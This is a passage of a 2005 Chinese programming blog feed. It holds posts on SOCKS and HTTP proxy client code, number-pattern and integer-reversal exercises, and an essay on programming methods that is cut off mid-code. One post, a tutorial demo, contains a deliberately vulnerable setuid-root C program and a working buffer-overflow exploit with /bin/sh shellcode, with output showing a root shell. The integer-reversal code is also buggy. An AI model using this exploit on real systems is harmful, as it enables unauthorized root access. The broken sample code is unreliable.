/>//使用到的结构<br />struct sock4req1<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char VN;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char CD;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned short Port;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned long IPAddr;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char other[1];<br />};<br /><br />struct sock4ans1<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char VN;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char CD;<br />};<br /><br />struct sock5req1<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Ver;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char nMethods;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Methods[255];<br />};<br /><br />struct sock5ans1<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Ver;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Method;<br />};<br /><br />struct sock5req2<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Ver;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Cmd;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Rsv;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Atyp;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char other[1];<br />};<br /><br />struct sock5ans2<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Ver;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Rep;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Rsv;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Atyp;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char other[1];<br />};<br /><br />struct authreq<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Ver;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Ulen;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Name[255];<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char PLen;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Pass[255];<br />};<br /><br />struct authans<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Ver;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char Status;<br />};<br /><br />//通过Socks4方式代理<br />if( !ClientSock.Connect( g_ProxyInfo.m_strProxyIP,g_ProxyInfo.m_nProxyPort) )<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;m_sError = _T(&amp;quot;不能连接到代理服务器!&amp;quot;);<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClientSock.Close();<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return FALSE;<br />}<br />char buff[100];<br />memset(buff,0,100);<br />struct sock4req1 *m_proxyreq;<br />m_proxyreq = (struct sock4req1 *)buff;<br />m_proxyreq-&amp;gt;VN = 4;<br />m_proxyreq-&amp;gt;CD = 1;<br />m_proxyreq-&amp;gt;Port = ntohs(GetPort());<br />m_proxyreq-&amp;gt;IPAddr = inet_addr(GetServerHostName());<br />ClientSock.Send(buff,9);<br />struct sock4ans1 *m_proxyans;<br />m_proxyans = (struct sock4ans1 *)buff;<br />memset(buff,0,100);<br />ClientSock.Receive(buff,100);<br />if(m_proxyans-&amp;gt;VN != 0 || m_proxyans-&amp;gt;CD != 90)<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;m_sError = _T(&amp;quot;通过代理连接主站不成功!&amp;quot;);<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClientSock.Close();<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return FALSE;<br />}<br /><br /><br /><br /><br />//通过Socks5方式代理<br />if( !ClientSock.Connect( g_ProxyInfo.m_strProxyIP,g_ProxyInfo.m_nProxyPort) )<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;m_sError = _T(&amp;quot;不能连接到代理服务器!&amp;quot;);<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClientSock.Close();<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return FALSE;<br />}<br />char buff[600];<br />struct sock5req1 *m_proxyreq1;<br />m_proxyreq1 = (struct sock5req1 *)buff;<br />m_proxyreq1-&amp;gt;Ver = 5;<br />m_proxyreq1-&amp;gt;nMethods = 2;<br />m_proxyreq1-&amp;gt;Methods[0] = 0;<br />m_proxyreq1-&amp;gt;Methods[1] = 2;<br />ClientSock.Send(buff,4);<br />struct sock5ans1 *m_proxyans1;<br />m_proxyans1 = (struct sock5ans1 *)buff;<br />memset(buff,0,600);<br />ClientSock.Receive(buff,600);<br />if(m_proxyans1-&amp;gt;Ver != 5 || (m_proxyans1-&amp;gt;Method!=0 &amp;amp;&amp;amp; m_proxyans1-&amp;gt;Method!=2))<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;m_sError = _T(&amp;quot;通过代理连接主站不成功!&amp;quot;);<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ClientSock.Close();<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return FALSE;<br />}<br />if(m_proxyans1-&amp;gt;Method == 2)<br />{<br />int nUserLen = strlen(g_ProxyInfo.m_strProxyUser);<br />int nPassLen = strlen(g_ProxyInfo.m_strProxyPass);<br />struct authreq *m_authreq;<br />m_authreq = (struct authreq *)buff;<br />m_authreq-&amp;gt;Ver = 1;<br />m_authreq-&amp;gt;Ulen = nUserLen;<br />strcpy(m_authreq-&amp;gt;Name,g_ProxyInfo.m_strProxyUser);<br />m_authreq-&amp;gt;PLen = nPassLen;<br />strcpy(m_authreq-&amp;gt;Pass,g_ProxyInfo.m_strProxyPass);<br />ClientSock.Send(buff,513);<br />struct authans *m_authans;<br />m_authans = (struct authans *)buff;<br />memset(buff,0,600);<br />ClientSock.Receive(buff,600);<br />if(m_authans-&amp;gt;Ver != 1 || m_authans-&amp;gt;Status != 0)<br />{<br />m_sError = _T(&amp;quot;代理服务器用户验证不成功!&amp;quot;);<br />ClientSock.Close();<br />return FALSE;<br />}<br />}<br />struct sock5req2 *m_proxyreq2;<br />m_proxyreq2 = (struct sock5req2 *)buff;<br />m_proxyreq2-&amp;gt;Ver = 5;<br />m_proxyreq2-&amp;gt;Cmd = 1;<br />m_proxyreq2-&amp;gt;Rsv = 0;<br />m_proxyreq2-&amp;gt;Atyp = 1;<br />unsigned long tmpLong = inet_addr(GetServerHostName());<br />unsigned short port = ntohs(GetPort());<br />memcpy(m_proxyreq2-&amp;gt;other,&amp;amp;tmpLong,4);<br />memcpy(m_proxyreq2-&amp;gt;other+4,&amp;amp;port,2);<br />ClientSock.Send(buff,sizeof(struct sock5req2)+5);<br />struct sock5ans2 *m_proxyans2;<br />memset(buff,0,600);<br />m_proxyans2 = (struct sock5ans2 *)buff;<br />ClientSock.Receive(buff,600);<br />if(m_proxyans2-&amp;gt;Ver != 5 || m_proxyans2-&amp;gt;Rep != 0)<br />{<br />m_sError = _T(&amp;quot;通过代理连接主站不成功!&amp;quot;);<br />ClientSock.Close();<br />return FALSE;<br />}<br /><br /><br /><br /><br />//通过HTTP方式代理<br />if( !ClientSock.Connect( g_ProxyInfo.m_strProxyIP,g_ProxyInfo.m_nProxyPort) )<br />{<br />m_sError = _T(&amp;quot;不能连接到代理服务器!&amp;quot;);<br />ClientSock.Close();<br />return FALSE;<br />}<br />char buff[600];<br />sprintf( buff, &amp;quot;%s%s:%d%s&amp;quot;,&amp;quot;CONNECT &amp;quot;,GetServerHostName(),GetPort(),&amp;quot; HTTP/1.1\r\nUser-Agent: MyApp/0.1\r\n\r\n&amp;quot;);<br />ClientSock.Send(buff,strlen(buff)); //发送请求<br />memset(buff,0,600);<br />ClientSock.Receive(buff,600);<br />if(strstr(buff, &amp;quot;HTTP/1.0 200 Connection established&amp;quot;) == NULL) //连接不成功<br />{<br />m_sError = _T(&amp;quot;通过代理连接主站不成功!&amp;quot;);<br />ClientSock.Close(); <br /><br /><br />return FALSE;<br />} <br /><br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;我们一般先与代理服务器连通，然后向代理服务器发送代理验证的用户名和密码(如果需要,如Socks5代理)，验证成功后，再向代理服务器发送需要连接的目的地址和端口。以上代码仅用于TCP连接，如果在内部网侦听或通过UDP协议发送信息，可查阅RFC1928等文档资料。 <br /><br />3、加密代理<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;这个吗啥都可以代理，而且是加密的，安全的，常用openssl来架设加密代理服务器，你可以去</font><a href="http://www.openssl.org/" target="_blank"><font color="#263160">http://www.openssl.org</font></a><font color="#263160">（这是一个开源的项目）去了解详细信息，就不要自己编写了，工程太大，用现成的就好了。</font></p>]]> 
</content> 
</entry>
 
<entry> 
<title><![CDATA[溢出利用程序]]></title> 
<link rel="alternate" type="text/html" href="http://kaixin8.blogchina.com/1729252.html" />  
<issued>2005-05-31T18:29:23Z</issued> 
<created>2005-05-31T18:29:23Z</created> 
<modified>2005-05-31T18:29:23Z</modified>
<id>tag:kaixin8.blogchina.com,2005://1729252</id>
<author> 
<name>奇才</name> 
<url>http://kaixin8.blogchina.com/index.html</url> 
<email>liujiakaimail@163.com</email> 
</author> 
<dc:subject>其他程序</dc:subject> 
<content type="text/html" mode="escaped" xml:lang="cn" xml:base="http://kaixin8.blogchina.com/"> 
<![CDATA[<h2 class="diaryTitle" /><p>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; </p><p /><p>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;溢出利用程序不仅仅是只能用c语言编写，其实几乎任何编程语言都能用来编写<br />溢出利用程序，这里用Linux作为试验平台，以实例演示C、Perl、Shell、Awk<br />语言编写溢出利用程序。之所以选择这几个语言是因为他们都几乎是Unix系统<br />自带的语言（商用Unix系统中C语言例外）。示例中基本都是把SHELLCODE放到<br />环境变量中来实现精确定位的。<br /><br /><br />&amp;lt;一&amp;gt;&amp;nbsp;&amp;nbsp;有溢出漏洞的vul.c<br /><br />[cloud@test]$ id<br />uid=505(cloud) gid=503(test) groups=503(test)<br />[cloud@test]$ cat vul.c<br />/* Demo <br />&amp;nbsp;&amp;nbsp; Have a bof vul at argv[1].<br />&amp;nbsp;&amp;nbsp; Write by watercloud @ xfocus.org <br />*/<br />#include&amp;lt;stdio.h&amp;gt;<br />int main(int argc,char&amp;nbsp;&amp;nbsp;* argv[])<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char buff[32];<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(argc &amp;gt; 1)<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(buff,argv[1]);<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;quot;buff : %s\n&amp;quot;,buff);<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0;<br />}<br />[cloud@test]$ gcc vul.c -o vul<br />[cloud@test]$ ls -l vul<br />-rwxr-xr-x&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1 cloud&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;test&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;11627&amp;nbsp;&amp;nbsp;2月 24 10:14 vul<br />[cloud@test]$ sudo chown root vul<br />[cloud@test]$ sudo chmod u+s vul<br />[cloud@test]$ ls -lh vul<br />-rwsr-xr-x&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1 root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; test&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;11K&amp;nbsp;&amp;nbsp;2月 24 10:14 vul<br /><br /><br /><br />&amp;lt;二&amp;gt; C语言版本利用程序ex.c<br /><br />[cloud@test]$ cat ex.c<br />/* Demo for exploit bof of &amp;quot;./vul&amp;quot; <br />&amp;nbsp;&amp;nbsp; Write by watercloud @ xfocus.org <br />*/<br />#include &amp;lt;stdio.h&amp;gt;<br />#define TARGET &amp;quot;./vul&amp;quot;<br />#define ADDR 0xbffff3e8<br />char SH[]=&amp;quot;1\xc0PPP[YZ4\xd0\xcd\x80&amp;quot;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;quot;j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80&amp;quot;;<br />int main(int argc,char * argv[])<br />{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char env_buff[4000];<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char cmd_buff[1024];<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int i,ret;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned int *pi;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;char * pc;<br /><br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for(i=0;i&amp;lt;3096;env_buff[i++]=0x90){ };<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;env_buff[i]='\0';<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcat(env_buff,SH);<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;setenv(&amp;quot;KK&amp;quot;,env_buff,1);<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;strcpy(cmd_buff,TARGET);<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pc=&amp;amp;cmd_buff[strlen(TARGET)];<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*pc++=' ';<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for(ret=1,i=0;i&amp;lt;4 &amp;amp;&amp;amp; ret;i++)<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int j;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*pc++='A';<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pi=(unsigned int *)pc;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for(j=0;j&amp;lt;20;*pi++=ADDR,j++){};<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*pi=0;<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret=system(cmd_buff);<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return ret;<br /><br />}<br />[cloud@test]$ gcc ex.c -o ex<br />[cloud@test]$ ./ex<br />buff : A梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??<br />梵?胯??<br />buff : AA梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?<br />胯?胯??<br />buff : AAA梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?<br />?胯?胯??<br />buff : AAAA梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯<br />?胯?胯??<br />sh-2.05b# id<br />uid=0(root) gid=503(test) groups=503(test)<br />sh-2.05b# exit<br />exit</p><p>小语<br /><br />&amp;nbsp;&amp;nbsp; 溢出的根本在于地址定位、堆栈等数据结构的使用约定和组织、操作系统运行时结构等<br />了解这些知识后溢出利用本生和编程语言是没有关系的。</p>]]> 
</content> 
</entry>
 
<entry> 
<title><![CDATA[打印图形1、121、12321、……]]></title> 
<link rel="alternate" type="text/html" href="http://kaixin8.blogchina.com/1729055.html" />  
<issued>2005-05-31T18:07:58Z</issued> 
<created>2005-05-31T18:07:58Z</created> 
<modified>2005-05-31T18:07:58Z</modified>
<id>tag:kaixin8.blogchina.com,2005://1729055</id>
<author> 
<name>奇才</name> 
<url>http://kaixin8.blogchina.com/index.html</url> 
<email>liujiakaimail@163.com</email> 
</author> 
<dc:subject>趣味数学</dc:subject> 
<content type="text/html" mode="escaped" xml:lang="cn" xml:base="http://kaixin8.blogchina.com/"> 
<![CDATA[<p>打印以下图形</p><p>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1<br />&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 121 <br />&amp;nbsp;&amp;nbsp;&amp;nbsp; 12321 <br />&amp;nbsp; 1234321<br />123454321</p><p>#include&amp;quot;stdio.h&amp;quot;<br />void generate(char&amp;nbsp; x,char&amp;nbsp; y)<br />{<br />if(x==y)<br />{<br />putchar(y);<br />return;<br />}<br />else<br />{<br />putchar(x);<br />generate(x+1,y);<br />putchar(x); <br />}<br />}<br />main()<br />{<br />int i,j;<br />char x;<br />for( i=1;i&amp;lt;6;i++)<br />{<br />for(j=1;j&amp;lt;6-i;j++)<br />{<br />putchar(' ');<br />}<br />x='0'+i;<br />generate('1',x);<br />putchar('\n');<br />}<br />} <br /></p><p>已上程序是从网友al所提供的程序中修改而来的 ！</p>]]> 
</content> 
</entry>
 
<entry> 
<title><![CDATA[输入任意一个整数,将其倒序输出]]></title> 
<link rel="alternate" type="text/html" href="http://kaixin8.blogchina.com/1379239.html" />  
<issued>2005-05-01T08:32:31Z</issued> 
<created>2005-05-01T08:32:31Z</created> 
<modified>2005-05-01T08:32:31Z</modified>
<id>tag:kaixin8.blogchina.com,2005://1379239</id>
<author> 
<name>奇才</name> 
<url>http://kaixin8.blogchina.com/index.html</url> 
<email>liujiakaimail@163.com</email> 
</author> 
<dc:subject>趣味数学</dc:subject> 
<content type="text/html" mode="escaped" xml:lang="cn" xml:base="http://kaixin8.blogchina.com/"> 
<![CDATA[<p>main()<br />{<br />int a,b,c,i,s;<br />scanf(&amp;quot;%d&amp;quot;,&amp;amp;a);<br />c=a;<br />while(c&amp;gt;0)<br />{<br />c=c/10;<br />b++;<br />}<br />for(i=b;i&amp;gt;1;i++)<br />{<br />c=a/10^b;<br />a=a-c*10^b;<br />s=s+10^(b+1-i);<br />}<br />printf(&amp;quot;%d&amp;quot;,s);<br />}</p><p />]]> 
</content> 
</entry>
 
<entry> 
<title><![CDATA[论程序设计方法]]></title> 
<link rel="alternate" type="text/html" href="http://kaixin8.blogchina.com/1358167.html" />  
<issued>2005-04-28T20:58:16Z</issued> 
<created>2005-04-28T20:58:16Z</created> 
<modified>2005-04-28T20:58:16Z</modified>
<id>tag:kaixin8.blogchina.com,2005://1358167</id>
<author> 
<name>奇才</name> 
<url>http://kaixin8.blogchina.com/index.html</url> 
<email>liujiakaimail@163.com</email> 
</author> 
<dc:subject>程序人生</dc:subject> 
<content type="text/html" mode="escaped" xml:lang="cn" xml:base="http://kaixin8.blogchina.com/"> 
<![CDATA[<p><strong>一、计算机硬件环境对软件设计方法的限制<br /><br /></strong>　　 计算机的发明到现在已经60年了，计算机程序设计方法也伴随着计算机硬件技术的提高而不断发展。硬件环境对软件设计既有严重的制约作用，也有积极的推动作用。<br /><br />　　 在我的大学母校（此处删除6个字），数学系的一些老师，有幸成为了我国第一代的计算机DIY一族。呵呵，不要以为是组装PC机呦，他们组装的可是小型机。一人多高铁皮柜大小的主机，加上纸带机（后期改进为读卡机），组装好后，除了供学校自己的科研使用外，还在全国各地销售了十几台。当时（七十年代）一台的售价是10几万元人民币，如果换算到今天，相当于价值大约为100多万元，非常高档的小型计算机了。下面大家猜猜，这么高档的计算机，它的内存是多少那？（都把嘴闭好了，我要公布答案了）—— 4K。<br /><br />　　 一块50公分见方的内存板，<br /><br />　　 插入到主机箱中，好了------ 1K；<br />　　 再插一块内存板，好了------ 2K；<br />　　 再插一块内存板，好了------ 3K；<br />　　 再插一块内存板，好了------ 4K；<br />　　 再......不行了，插不起了，太贵了！这就是当时的环境。这样的环境下，用什么写程序那？当然只有机器码了。先用汇编写，然后翻阅手册手工改写为机器码，然后打卡或穿纸带，输入运行。可以想象，在当时的条件下，什么叫好的程序那？什么叫优秀的程序那？—— 技巧！<br /><br />　　 程序设计的最初始阶段，是讲究技巧的年代。如何能节省一个字节，如何能提高程序运行的效率，这些都是要严肃考虑的问题。而所谓的程序的易读性，程序的可维护性根本不在考虑范围之内。 <br /><br />　　 今天，35岁以上的学习过计算机的朋友可能都使用过一种个人计算机——APPLE-II（中国也生产过这种计算机的类似产品“中华学习机”）。主频1M，内存48K（扩展后，最多可达到64K）。我就是使用这样的计算机长大的 :)。当年，类似的个人计算机产品，还有PC1500，Layser310等。这种计算机上已经固化了 BASIC 语言，当然只是为学习使用。要想开发出真正的商业程序，则必须使用汇编，否则的话，程序就比蜗牛还要慢了。于是，程序设计中对于技巧的运用，是至关重要的了。<br /><br />　　 题外话1：<br /><br />　　 比尔盖茨是 BASIC 的忠实拥护和推动者。当年，他在没有调式环境的状况下，用汇编语言写出了一款仅有 4K 大小的 BASIC 解释器，且一次通过。确实另人佩服。（不象现在微软出品的程序，动辄几十兆。）这也许就是比尔对 BASIC 情有独忠的原因，每当微软推出（临摹）一个新技术，则他会立刻在 BASIC 中提供支持。<br /><br />　　 题外话2：<br /><br />　　 在 APPLE-II 上有一款游戏软件“警察抓小偷”，当年熬夜玩游戏，乐趣无穷。后来这款游戏被移植到了PC上，咳~~~根本没有办法玩，因为小偷还没跑就被警察抓到了。硬件的速度提升，另我无法再回味以前的时光了。<br /><br />　　<strong>二、结构化程序设计<br /><br /></strong>　　 随着计算机的价格不断下降，硬件环境不断改善，运行速度不断提升。程序越写越大，功能越来越强，讲究技巧的程序设计方法已经不能适应需求了。记得是哪本书上讲过，一个软件的开发成本是由：程序设计 30% 和程序维护 70% 构成。这是书上给出的一个理论值，但实际上，从我十几年的工作经验中，我得到的体会是：程序设计占 10%，而维护要占 90%。也许我说的还是太保守了，维护的成本还应该再提高。下面这个程序，提供了两种设计方案，大家看看哪个更好一些那？<br /><br />　　 题目：对一个数组中的100个元素，从小到大排序并显示输出。(BASIC)<br /><br />　　 方法1：冒泡法排序，同时输出。 <br /><code>FOR I=1 TO 100<br />　 FOR J=I+1 TO 100<br />　　 IF A[I] &amp;gt; A[J] THEN T=A[J]: A[J]=A[I]: A[I]=T<br />　 NEXT J<br />　 ? A[I]<br />NEXT I</code></p><p><code>方法2：冒泡法排序，然后再输出。</code></p><p><code><code>FOR I=1 TO 100<br />FOR J=I+1 TO 100<br />IF A[I] &amp;gt; A[J] THEN T=A[J]: A[J]=A[I]: A[I]=T<br />NEXT<br />NEXT<br /><br />FOR I=1 TO 100<br />? A[I]<br />NEXT </code></code></p><p><code><code>显然，“方法1”比“方法2”的效率要高，运行的更快。但是，从现在的程序设计角度来看，“方法2”更高级。原因很简单：（1）功能模块分割清晰——易读；（2）也是最重要的——易维护。程序在设计阶段的时候，就要考虑以后的维护问题。比如现在是实现了在屏幕上的输出，也许将来某一天，你要修改程序，输出到打印机上、输出到绘图仪上；也许将来某一天，你学习了一个新的高级的排序方法，由“冒泡法”改进为“快速排序”、“堆排序”。那么在“方法2”的基础上进行修改，是不是就更简单了，更容易了？！这种把功能模块分离的程序设计方法，就叫“结构化程序设计”。</code></code></p><p><code><code><strong>三、对程序设计中技巧使用的思考<br /><br /></strong>　　 我可以肯定，大家在开始学习程序设计的时候，一定都做过这样一个题目：求100以内的素数。老师在黑板上，眉飞色舞地写出了第一个程序：（C程序）<br /><br />　　 方法1：<br /><code>for(i=1; i&amp;lt;100; i++)<br />{<br />　 for(j=2; j&amp;lt; i; j++)<br />　　 if(i%j == 0) break;<br />　　 if(j &amp;gt;= i) printf(&amp;quot;%d,&amp;quot;, i);<br />} </code></code></code></p><p><code><code><code>然后，老师开始批判这个程序“这个叫什么呀？太慢了！因为我们都知道大偶数不可能是素数了，因此，要排除掉！” 于是，意尤未尽地写出了第二个程序：<br /><br />　　 方法2：<br /><code>printf(&amp;quot;2,&amp;quot;);<br />for(i=3; i&amp;lt;100; i+=2)<br />{<br />　 for(j=2; j&amp;lt; i; j++)<br />　　 if(i%j == 0) break;<br />　　 if(j &amp;gt;= i) printf(&amp;quot;%d,&amp;quot;, i);<br />} </code></code></code></code></p><p><code><code><code><code>老师说：“看！我们只改动了一点点，程序运行的速度就提高了一倍多”。然后运用诱导式教学法继续提问“程序的效率，还能再提高吗？能！”，得意地写出第三个程序： <br /><br />　　 方法3：<br /><code>printf(&amp;quot;2,&amp;quot;);<br />for(i=3; i&amp;lt;100; i+=2) ''不考虑大偶数<br />{<br />　 for(j=3; j&amp;lt; i/2; j+=2) 